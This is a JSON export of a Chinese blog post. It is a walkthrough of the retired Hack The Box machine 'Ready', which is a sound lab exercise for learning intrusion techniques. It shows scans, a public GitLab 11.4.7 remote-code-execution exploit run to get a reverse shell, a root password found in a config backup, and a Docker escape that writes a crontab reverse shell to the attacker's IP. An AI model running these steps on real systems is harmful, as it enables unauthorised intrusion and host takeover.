{"id":199,"date":"2024-11-13T11:06:06","date_gmt":"2024-11-13T03:06:06","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=199"},"modified":"2024-11-13T11:06:07","modified_gmt":"2024-11-13T03:06:07","slug":"199","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/199\/","title":{"rendered":"HTB\u9776\u673a Ready \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.10.220<\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
PING 10.10.10.220 (10.10.10.220) 56(84) bytes of data.\n64 bytes from 10.10.10.220: icmp_seq=1 ttl=63 time=309 ms\n64 bytes from 10.10.10.220: icmp_seq=2 ttl=63 time=95.7 ms\n64 bytes from 10.10.10.220: icmp_seq=3 ttl=63 time=261 ms\n64 bytes from 10.10.10.220: icmp_seq=4 ttl=63 time=87.6 ms\n\n--- 10.10.10.220 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3254ms\nrtt min\/avg\/max\/mdev = 87.567\/188.354\/308.858\/98.202 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.94SVN scan initiated Wed Nov  6 13:47:14 2024 as: nmap -sF -p- --min-rate 4000 -oN .\/fin_result.txt 10.10.10.220\nNmap scan report for 10.10.10.220\nHost is up (0.092s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT     STATE         SERVICE\n22\/tcp   open|filtered ssh\n5080\/tcp open|filtered onscreen\n\n# Nmap done at Wed Nov  6 13:47:37 2024 -- 1 IP address (1 host up) scanned in 22.52 seconds<\/code><\/pre>\n
\u9776\u673a\u5f00\u653e\u4e862<\/code>\u4e2aTCP<\/code>\u7aef\u53e3\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Wed Nov  6 13:53:44 2024 as: nmap -sS -sV -A -p 22,5080 -oN .\/tcp_report.txt 10.10.10.220\nNmap scan report for 10.10.10.220\nHost is up (0.090s latency).\n\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)\n|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)\n|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)\n5080\/tcp open  http    nginx\n|_http-trane-info: Problem with XML parsing of \/evox\/about\n| http-title: Sign in xC2xB7 GitLab\n|_Requested resource was http:\/\/10.10.10.220:5080\/users\/sign_in\n| http-robots.txt: 53 disallowed entries (15 shown)\n| \/ \/autocomplete\/users \/search \/api \/admin \/profile \n| \/dashboard \/projects\/new \/groups\/new \/groups\/*\/edit \/users \/help \n|_\/s\/ \/snippets\/new \/snippets\/*\/edit\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 443\/tcp)\nHOP RTT      ADDRESS\n1   88.27 ms 10.10.14.1\n2   88.39 ms 10.10.10.220\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Wed Nov  6 13:54:03 2024 -- 1 IP address (1 host up) scanned in 19.27 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Wed Nov  6 14:10:04 2024 as: nmap -sU -p- --min-rate 4000 -oN .\/udp_ports.txt 10.10.10.220\nWarning: 10.10.10.220 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.220\nHost is up (0.20s latency).\nAll 65535 scanned ports on 10.10.10.220 are in ignored states.\nNot shown: 65344 open|filtered udp ports (no-response), 191 closed udp ports (port-unreach)\n\n# Nmap done at Wed Nov  6 14:13:10 2024 -- 1 IP address (1 host up) scanned in 186.24 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/ready]\n\u2514\u2500# nc -nv 10.10.10.220 22\n(UNKNOWN) [10.10.10.220] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4<\/code><\/pre>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff085080\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/ready.htb:5080\/<\/code><\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u9776\u673a\u90e8\u7f72\u4e86GitLab<\/code>\u4ee3\u7801\u6258\u7ba1\u7cfb\u7edf\uff0c\u5c1d\u8bd5\u6ce8\u518c\u4e00\u4e2a\u8d26\u6237\uff1a<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u6210\u529f\u767b\u5f55GitLab<\/code>\u3002\u73b0\u5728\u70b9\u51fb\u53f3\u4e0a\u89d2\u5934\u50cf => Help<\/code>\u6309\u94ae\uff0c\u6253\u5f00GitLab<\/code>\u5e2e\u52a9\u9875\u9762\uff1a<\/p>\n
\"\"<\/p>\n
\u6210\u529f\u53d1\u73b0\u90e8\u7f72\u7684\u7cfb\u7edf\u4e3aGitLab CE v11.4.7<\/code>\uff0c\u5c1d\u8bd5\u8054\u7f51\u641c\u7d22\u6f0f\u6d1e\uff0c\u6210\u529f\u53d1\u73b0\u4e00\u4e2a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u7f16\u53f7\u4e3aCVE-2018-19585<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
GitLab RCE\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u76f4\u63a5\u4e0b\u8f7dEXP<\/code>\uff1agitlab-RCE-11.4.7\/rce_script.py at main \u00b7 Algafix\/gitlab-RCE-11.4.7<\/a><\/p>\n
wget https:\/\/raw.githubusercontent.com\/Algafix\/gitlab-RCE-11.4.7\/refs\/heads\/main\/rce_script.py<\/code><\/pre>\n
\u968f\u540e\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n
.\/exp.py -u misaka19008 -p Asd310056 -g http:\/\/ready.htb:5080 -l 10.10.14.2 -P 443 bash<\/code><\/pre>\n
\"\"<\/p>\n
\u53cd\u5f39Shell\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n
\n
\u6743\u9650\u63d0\u5347<\/h1>\n
Docker\u5bb9\u5668\u5185\u63d0\u6743<\/h2>\n
\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528LinPeas<\/code>\u5de5\u5177\u8fdb\u884c\u672c\u5730\u4fe1\u606f\u6536\u96c6\uff0c\u53d1\u73b0\u5904\u4e8eDocker<\/code>\u5bb9\u5668\u5185\u3002<\/p>\n
\u57fa\u672c\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u547d\u540d\u7a7a\u95f4<\/strong><\/p>\n
\"\"<\/p>\n
\u5bb9\u5668\u914d\u7f6e<\/strong><\/p>\n
\"\"<\/p>\n
\u6302\u8f7d\u70b9<\/strong><\/p>\n
\"\"<\/p>\n
\u7279\u6743\u6a21\u5f0f\u4fe1\u606f<\/strong><\/p>\n
\"\"<\/p>\n
\u5e76\u672a\u53d1\u73b0\u654f\u611f\u4fe1\u606f\uff0c\u5c1d\u8bd5\u8fdb\u5165\u5176\u5b83\u76ee\u5f55\u641c\u96c6\u4fe1\u606f\u3002\u5728\/opt<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0backup<\/code>\u6587\u4ef6\u5939\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u6587\u4ef6\u5939\u5185\u6709Docker<\/code>\u5bb9\u5668\u7684\u914d\u7f6e\u6587\u4ef6\u548cGitLab<\/code>\u7684\u914d\u7f6e\u6587\u4ef6\u5907\u4efd\u3002docker-compose.yml<\/code>\u5185\u5bb9\uff1a<\/p>\n
version: '2.4'\n\nservices:\n  web:\n    image: 'gitlab\/gitlab-ce:11.4.7-ce.0'\n    restart: always\n    hostname: 'gitlab.example.com'\n    environment:\n      GITLAB_OMNIBUS_CONFIG: |\n        external_url 'http:\/\/172.19.0.2'\n        redis['bind']='127.0.0.1'\n        redis['port']=6379\n        gitlab_rails['initial_root_password']=File.read('\/root_pass')\n    networks:\n      gitlab:\n        ipv4_address: 172.19.0.2\n    ports:\n      - '5080:80'\n      #- '127.0.0.1:5080:80'\n      #- '127.0.0.1:50443:443'\n      #- '127.0.0.1:5022:22'\n    volumes:\n      - '.\/srv\/gitlab\/config:\/etc\/gitlab'\n      - '.\/srv\/gitlab\/logs:\/var\/log\/gitlab'\n      - '.\/srv\/gitlab\/data:\/var\/opt\/gitlab'\n      - '.\/root_pass:\/root_pass'\n      - '\/opt\/user:\/home\/dude\/'\n    privileged: true\n    restart: unless-stopped\n    #mem_limit: 1024m\n\nnetworks:\n  gitlab:\n    driver: bridge\n    ipam:\n      config:\n        - subnet: 172.19.0.0\/16<\/code><\/pre>\n
\u901a\u8fc7\u8bfb\u53d6\u914d\u7f6e\u6587\u4ef6\uff0c\u53d1\u73b0\u5bb9\u5668\u7684\u7279\u6743\u6a21\u5f0f\u53ef\u80fd\u88ab\u5f00\u542f\uff0c\u4f46\u56e0\u4e3a\u5f53\u524d\u4e0d\u662froot<\/code>\u7528\u6237\u800c\u65e0\u6cd5\u5229\u7528\u3002\u5c1d\u8bd5\u4f7f\u7528\/root_pass<\/code>\u6587\u4ef6\u5185\u7684\u6587\u672c\u4f5c\u4e3aroot<\/code>\u5bc6\u7801\u4f7f\u7528\uff0c\u4f46\u5931\u8d25\u3002\u5c1d\u8bd5\u8bfb\u53d6\u5269\u4e0b\u7684\u4e24\u4efd\u6587\u4ef6\uff0c\u5728gitlab.rb<\/code>\u6587\u4ef6\u4e2d\u627e\u5230\u4e86\u4e00\u4e2a\u5bc6\u7801wW59U!ZKMbG9+*#h<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\u5c1d\u8bd5\u767b\u5f55root<\/code>\u7528\u6237\uff1a<\/p>\n
    \n
  • \u7528\u6237\u540d\uff1aroot<\/code><\/li>\n
  • \u5bc6\u7801\uff1awW59U!ZKMbG9+*#h<\/code><\/li>\n<\/ul>\n
    \"\"<\/p>\n
    \u6210\u529f\uff01\uff01<\/strong><\/p>\n
    Docker\u5bb9\u5668\u9003\u9038<\/h2>\n
    \u8fdb\u5165\u5bb9\u5668root<\/code>\u7528\u6237\u4e4b\u540e\uff0c\u5c1d\u8bd5\u6267\u884cLinPeas<\/code>\u91cd\u65b0\u68c0\u67e5\u5bb9\u5668\u7684\u60c5\u51b5\uff1a<\/p>\n
    \"\"<\/p>\n
    \u53d1\u73b0\u7279\u6743\u6a21\u5f0f\u88ab\u5f00\u542f\uff01\u76f4\u63a5\u5c06\u5bbf\u4e3b\u673a\u7684\u6839\u76ee\u5f55\u6302\u8f7d\u81f3\u5bb9\u5668\u5185\uff0c\u968f\u540e\u5199\u5165\u8ba1\u5212\u4efb\u52a1\u53cd\u5f39Shell\u63d0\u6743\u3002\u9996\u5148\u6267\u884cfdisk -l<\/code>\u547d\u4ee4\u5bfb\u627e\u5bbf\u4e3b\u673a\u78c1\u76d8\u8bbe\u5907\uff1a<\/p>\n
    \"\"<\/p>\n
    \u53d1\u73b0\/dev\/sda2<\/code>\u8bbe\u5907\u7684\u5bb9\u91cf\u8fbe9.5G<\/code>\uff0c\u786e\u5b9a\u8be5\u8bbe\u5907\u4e3a\u5bbf\u4e3b\u673a\u78c1\u76d8\u3002\u76f4\u63a5\u8fdb\u884c\u6302\u8f7d\uff1a<\/p>\n
    mkdir \/mnt\/evil_mount\nmount \/dev\/sda2 \/mnt\/evil_mount<\/code><\/pre>\n
    \u67e5\u770b\u76ee\u5f55\uff1a<\/p>\n
    \"\"<\/p>\n
    \u6302\u8f7d\u6210\u529f\uff01\uff01\u63a5\u4e0b\u6765\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff0c\u5411\u5bbf\u4e3b\u673a\/etc\/crontab<\/code>\u6587\u4ef6\u5199\u5165\u8ba1\u5212\u4efb\u52a1\u914d\u7f6e\uff1a<\/p>\n
    echo \"*\/1 * * * * root \/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.2\/4444 0>&1'\" > \/mnt\/evil_mount\/etc\/crontab<\/code><\/pre>\n
    \"\"<\/p>\n
    \u968f\u540e\u4f7f\u7528netcat<\/code>\u5728\u672c\u57304444<\/code>\u7aef\u53e3\u542f\u52a8\u76d1\u542c\uff1a<\/p>\n
    \"\"<\/p>\n
    \u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n
    \n
    Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n
    \"\"<\/p>\n
    \n
    \u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n
    \n","protected":false},"excerpt":{"rendered":"
    \u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.220 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.10.220 (10.10.10.22 …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-199","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/199","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=199"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/199\/revisions"}],"predecessor-version":[{"id":200,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/199\/revisions\/200"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=199"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=199"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=199"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}